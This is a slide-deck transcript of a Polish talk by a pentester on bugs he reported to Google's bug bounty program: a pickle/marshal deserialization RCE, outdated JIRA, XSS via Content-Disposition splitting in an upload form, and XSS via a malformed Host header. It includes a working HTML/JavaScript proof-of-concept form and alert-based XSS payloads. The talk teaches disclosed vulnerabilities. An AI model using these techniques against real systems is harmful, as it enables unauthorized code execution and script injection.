googlebugbounty - sekurak... o sobie google bug bounty • michał bentkowski • pentester @...

72
Wybrane błędy GoogleBugBounty

Upload: others

Post on 11-Aug-2020

7 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

Wybrane błędy

GoogleBugBounty

Page 2: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

O sobie

Google Bug Bounty

• Michał Bentkowski• Pentester @ securitum.pl• W 2014 - top 10 w Google Bug Bounty• W internecie:• Blog: blog.bentkowski.info

• @SecurityMB

• sekurak.pl

Page 3: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

PlanPrezentacji

Google Bug Bounty

• Organizacyjnie• O co chodzi z bug bounty,

• Statystyki

• Technicznie• RCE

• XSS-y

• „Farciarski” błąd

Page 4: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

Pytania

Google Bug Bounty

• Mogą wystąpić problemy komunikacyjne…• Zadawajcie pytanie na http://bentkowski.info/q• Czas na pytania pod koniec prezentacji

Page 5: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

Organizacyjnie

Page 6: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

OProgramachBugBounty

Google Bug Bounty

• „Umowa” pomiędzy firmami, a osobami testującymi bezpieczeństwo,• Duża liczba programów bug bounty,• https://hackerone.com/

• https://bugcrowd.com/

• https://cobalt.io/

• Google Vulnerability Reward Program (VRP)• https://www.google.pl/about/appsecurity/reward-program/

Page 7: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

Statystyki

Google Bug Bounty

012345678910

2013 2014 2015

Page 8: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

Statystyki

Google Bug Bounty

Outdated soft1Clickjacking

1Path traversal1

Cookie folding1

RCE1

CSRF1

XSS14

Page 9: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

Technicznie

Page 10: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

• http://www.google.com/training/enroll • Tak właściwie działa w Google AppEngine• Sandboksowane środowisko

Page 11: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Y2RhdGV0aW1lCmRhdGV0aW1lCnAwCihTJ1x4MDdceGRmXHgwN1x4MDdceDAwXHgwMFx4MDBceDAwXHg

wMFx4MDAnCnAxCnRwMgpScDMKLg==

Page 12: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

"cdatetime\ndatetime\n

p0\n(S’\\x07\\xdf\\x07\\x07\\x00\\x00\\x00\\x00\\x00\\x00'\n

p1\ntp2\nRp3\n

."

Page 13: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

• Zserializowany obiekt przy pomocy pythonowego modułu pickle

Page 14: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

• Moduł pickle pozwala wykonywać dowolną metodę w dowolnym module.• Np. os.system.• Metoda __reduce__

Page 15: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Page 16: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Page 17: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Page 18: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Page 19: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Page 20: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Page 21: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

marshal.loads("zserializowana_funkcja")

Page 22: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

eval(marshal.loads(„zserializowana_funkcja”))

Page 23: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Page 24: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Page 25: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

Page 26: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

RCE

Google Bug Bounty

• Wnioski?• Nigdy nie deserializujemy danych z niezaufanych źródeł.

Page 27: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

NieaktualneOprogramowanie

Google Bug Bounty

• QuickOffice - pakiet biurowy• Nabyty przez Google w 2012 roku• Połączony z Google Docs w 2014• Lecz wciąż żyje…

Page 28: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

NieaktualneOprogramowanie

Google Bug Bounty

• issues.quickoffice.com i issues2.quickoffice.com hostowały JIRĘ• https://confluence.atlassian.com/jira/jira-security-

advisory-2014-02-26-445188412.html

Page 29: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

NieaktualneOprogramowanie

Google Bug Bounty

• issues.quickoffice.com i issues2.quickoffice.com hostowały JIRĘ• https://confluence.atlassian.com/jira/jira-security-

advisory-2014-02-26-445188412.html

Page 30: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

NieaktualneOprogramowanie

Google Bug Bounty

• issues.quickoffice.com i issues2.quickoffice.com hostowały JIRĘ• https://confluence.atlassian.com/jira/jira-security-

advisory-2014-02-26-445188412.html

Page 31: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

NieaktualneOprogramowanie

Google Bug Bounty

• issues.quickoffice.com i issues2.quickoffice.com hostowały JIRĘ• https://confluence.atlassian.com/jira/jira-security-

advisory-2014-02-26-445188412.html

Page 32: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• Mój ulubiony XSS• Postini Header Analyzer (http://www.google.com/postini/headeranalyzer)• Wikipedia: „Postini was an e-mail, Web security, and archiving service owned by

Google since 2007. It provided cloud computing services for filtering e-mail spam and malware (before it was delivered to a client's mail server), offered optional e-mail archiving, and protected client networks from web-borne malware.”

Page 33: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• Mój ulubiony XSS• Postini Header Analyzer (http://www.google.com/postini/headeranalyzer)• Wikipedia: „Postini was an e-mail, Web security, and archiving service owned by

Google since 2007. It provided cloud computing services for filtering e-mail spam and malware (before it was delivered to a client's mail server), offered optional e-mail archiving, and protected client networks from web-borne malware.”

X-pstn-levels: (S: 0.00000/60.95723 CV:99.9000 R:95.91080 P:95.91081 M:64.93900 C:93.23770 )X-pstn-settings: 5 (2.00000:8.00000) r p M c

Page 34: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

Page 35: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

Page 36: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

Page 37: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

Page 38: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• To XSS przez formularz uploadu…• Więc zawsze pojawia się okienko dialogowe.• Scenariusz ataku?• Atakujący przesyła złośliwie przygotowany plik do ofiary

• Atakujący zachęca ofiarę do przejścia do złośliwie przygotowanej witryny

• Ofiara musi kliknąć na wybór pliku i RĘCZNIE wybrać plik otrzymany wcześniej od atakującego

• Ofiara musi potwierdzić jeszcze upload pliku

Page 39: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• Czy możemy sprawić, że wykonamy zwykłe zapytanie POST, które z punktu widzenia przeglądarki nie będzie zawierać pliku, zaś z punktu widzenia serwera owszem?

Page 40: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• Czy możemy sprawić, że wykonamy zwykłe zapytanie POST, które z punktu widzenia przeglądarki nie będzie zawierać pliku, zaś z punktu widzenia serwera owszem?

Page 41: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• Czy możemy sprawić, że wykonamy zwykłe zapytanie POST, które z punktu widzenia przeglądarki nie będzie zawierać pliku, zaś z punktu widzenia serwera owszem?

Page 42: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• W aplikacji Content-Disposition był najpierw „splitowany” po średniku!• <input name="file_1; name=file_1; filename=test.zip; a">• Content-disposition: form-data; name="file_1; name=file_1; filename=test.zip; a"

Page 43: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• W aplikacji Content-Disposition był najpierw „splitowany” po średniku!• <input name="file_1; name=file_1; filename=test.zip; a">• Content-disposition: form-data; name="file_1; name=file_1; filename=test.zip; a"

name="file_1; name=file_1; filename=test.zip; a"

Page 44: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• W aplikacji Content-Disposition był najpierw „splitowany” po średniku!• <input name="file_1; name=file_1; filename=test.zip; a">• Content-disposition: form-data; name="file_1; name=file_1; filename=test.zip; a"

name="file_1; name=file_1; filename=test.zip; a"

Page 45: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• W aplikacji Content-Disposition był najpierw „splitowany” po średniku!• <input name="file_1; name=file_1; filename=test.zip; a">• Content-disposition: form-data; name="file_1; name=file_1; filename=test.zip; a"

name="file_1; name=file_1; filename=test.zip; a"

name="file_1; name=file_1; filename=test.zip; a"

Page 46: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

Page 47: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

Page 48: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• Chrome próbował interpretować dane w jakimś kodowaniu• Nieznana sekwencja bajtów w tym kodowaniu? Użyjmy encji HTML!• 0x00 - 0x9F - dopuszczalne bajty• Pozostałe (0xA0 - 0xFF) - zabronione bajty (znaki)• Problem z ZIP-em. Spróbujmy TAR.

Page 49: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

Page 50: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

Page 51: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• Struktura pliku GZIP• 10-bajtowy nagłówek

• Body - zawierające strumień Deflate

• Ostatnie 8 bajtów - suma CRC32 i rozmiar pliku

• Nagłówek - nie ma zabronionych znaków• Ostatnie 8 bajtów - łatwo zmodyfikować plik, aby nie było zabronionych znaków• Body?• https://github.com/molnarg/ascii-zip

• „A deflate compressor that emits compressed data that is in the [A-Za-z0-9] ASCII byte range.”

Page 52: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

Page 53: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

<html><body> <form action="http://www.google.com/postini/headeranalyzer/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="x; name=file_1; filename=abc.tar.gz; " id="vulnerable" value="" /> <input type="submit" value="XSS @ google.com" /> </form> <script> var tarfile = "\x1f\x8b\x08AAAAAAAD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAt33wWDtDDDtGDtswDDwG0stpDDtGwwDDwwD33333sw033333gFPqImO\x7f[AWg{Wcs]c{KwoaYQ}HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHiiiueeAHiiiMuUAHiiiiyeAHiiiiiiiiiiuAYyeuYYeMEUuAiYeeuYHAiHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH_OocwHiiGSHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOockkHHHHHHHHHHHHHHHHHHHHHHHHHHHiiiiiiAHiiiiiiAHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHCKOoq\\HH...HHHH\x08df\x0e\x1a\x0b\x08\x00\x00"; var vuln = document.getElementById('vulnerable'); vuln.value = (tarfile); </script></body></html>

Page 54: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

https://www.youtube.com/watch?v=jiQOYGXxw14

Page 55: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezUploadPliku

Google Bug Bounty

• Wnioski?• Warto dokładnie analizować zachowanie webserwerów, czasem może być

nietypowe.• Nie ograniczajmy się do ulubionej przeglądarki, coś co nie działa w jednej, może

zadziałać w innej.

Page 56: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

• Znany błąd w Internet Explorerze• Odkrył go Sergey Bobrov (@black2fan) w 2013

• Google dziwnie interpretuje nagłówek Host.• Polowanie czas zacząć!

Page 57: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

HTTP/1.1 302 FoundDate: Fri, 06 Mar 2015 08:35:32 GMTServer: Apache/2.2.22 (Debian)X-Powered-By: PHP/5.4.36-0+deb7u3Location: http://example.com/login.phpVary: Accept-EncodingContent-Length: 0Connection: closeContent-Type: text/html

Page 58: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

HTTP/1.1 302 FoundDate: Fri, 06 Mar 2015 08:35:32 GMTServer: Apache/2.2.22 (Debian)X-Powered-By: PHP/5.4.36-0+deb7u3Location: http://example.com%2Flogin.phpVary: Accept-EncodingContent-Length: 0Connection: closeContent-Type: text/html

Page 59: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

GET /login.phphp/ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: pl-PLUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: example.com/login.phpDNT: 1Connection: Keep-AliveCache-Control: no-cache

Page 60: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

• Jak Google parsuje nagłówek Host.• Host: www.google.com -> działa• Host: www.google.com/test -> nie działa• Host: www.google.com:80 -> działa• Host: www.google.com:80<cokolwiek> -> też działa!

Page 61: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

Page 62: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

Page 63: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

HTTP/1.1 302 FoundServer: Apache/2.2.22 (Debian)Location: https://www.google.com%3a443%2fcse%2ftools%2fcreate_onthefly%3b%3c%2ftextarea%3e%3cscript%3ealert(1)%3c%2fscript%3e

Host: www.google.com:443/cse/tools/create_onthefly;</textarea><script>alert(1)</script>

Page 64: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

Page 65: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

Page 66: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

Page 67: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

http://test.pl/<svg/onload=alert(1)/../../

http://test.pl/

Page 68: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

Location: https://www.google.com%3a443%2fcse%2ftools%2fcreate_onthefly%3b%3c%2ftextarea%3e%3csvg%2fonload%3dalert%28document%2edomain%29%3e%3b%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f

Host: www.google.com:443/cse/tools/create_onthefly;</textarea><svg/onload=alert(document.domain)>;/../../../../../../../../../../../../../../

Page 69: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

https://www.youtube.com/watch?v=9A44ERoAFkc

Page 70: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

XSSprzezNagłówekHost

Google Bug Bounty

• Wnioski?• Podobne jak wcześniej! Warto odkrywać lub czytać o dziwnych zachowaniach

przeglądarek,• Warto też szukać słabości w serwerach tam, gdzie zwykle ich nie ma,

Page 71: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

http://bentkowski.info/q

Podsumowanie

Google Bug Bounty

• Dużo frajdy z bug bounty• Świetny sposób na rozwinięcie swoich umiejętności,• Czytajcie o przeglądarkach, analizujcie zachowanie serwerów,• Trzeba też trochę szczęścia!

Page 72: GoogleBugBounty - Sekurak... O sobie Google Bug Bounty • Michał Bentkowski • Pentester @ securitum.pl • W 2014 - top 10 w Google Bug Bounty • W internecie

Pytania?Koniec